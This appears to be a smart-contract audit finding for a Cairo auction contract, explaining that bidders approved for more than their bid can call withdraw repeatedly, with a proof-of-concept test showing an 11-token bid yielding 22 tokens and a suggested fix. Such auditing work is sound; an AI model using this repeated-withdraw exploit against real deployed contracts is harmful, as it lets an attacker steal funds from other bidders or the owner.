For withdrawing the amount of unsuccessful bids, the contract has to approve the amount for each bidder and since there is not function that does that so if a bidder is approved amount more then the he bid, he can withdraw the amount which might belong to other bidder or the owner.
If a bidder has been approved higher amount then he can withdraw more amount than he bid and be able to steal from other users.
In the following test first_bidder bid 11 and the amount approved is 22 so he can call withdraw two times and successfully withdraw 22 instead of his 11 and this amount is stolen from owner in current case or from other bidders depending on the order of calls.
#[test]
fn test_call_withdraw_multiple_times() {
let (auction_dispatcher, auction_contract, erc20_contract_address, erc721_contract_address) =
deploy_auction_contract();
auction_dispatcher.start(86400, 10);
let erc20_dispatcher = IMockERC20TokenDispatcher { contract_address: erc20_contract_address };
let erc721_dispatcher = IERC721Dispatcher { contract_address: erc721_contract_address };
let first_bidder_address: ContractAddress = 123.try_into().unwrap();
start_cheat_caller_address_global(first_bidder_address);
erc20_dispatcher.mint(first_bidder_address, 20);
erc20_dispatcher.token_approve(auction_contract, 20);
let balance_owner = erc20_dispatcher.token_balance_of(first_bidder_address);
println!("first bidder balance before {:?}", balance_owner);
auction_dispatcher.bid(11);
stop_cheat_caller_address_global();
let second_bidder_address: ContractAddress = 111.try_into().unwrap();
start_cheat_caller_address_global(second_bidder_address);
erc20_dispatcher.mint(second_bidder_address, 15);
erc20_dispatcher.token_approve(auction_contract, 15);
auction_dispatcher.bid(15);
stop_cheat_caller_address_global();
let time = get_block_timestamp();
start_cheat_block_timestamp(auction_contract, time + 86401);
start_cheat_caller_address_global(auction_contract);
erc721_dispatcher.approve(second_bidder_address, 1);
erc20_dispatcher.token_approve(first_bidder_address, 22);
stop_cheat_caller_address_global();
let balance_owner = erc20_dispatcher.token_balance_of(first_bidder_address);
println!("first bidder balance before end {:?}", balance_owner);
auction_dispatcher.end();
let balance_owner = erc20_dispatcher.token_balance_of(first_bidder_address);
println!("first bidder balance before withdraw {:?}", balance_owner);
start_cheat_caller_address_global(first_bidder_address);
auction_dispatcher.withdraw();
let balance_owner = erc20_dispatcher.token_balance_of(first_bidder_address);
println!("first bidder balance after first withdraw {:?}", balance_owner);
auction_dispatcher.withdraw();
let balance_owner = erc20_dispatcher.token_balance_of(first_bidder_address);
println!("first bidder balance after second withdraw {:?}", balance_owner);
stop_cheat_caller_address_global();
stop_cheat_block_timestamp(auction_contract);
}
The amount approval for the bidders should be part of end or withdraw function.
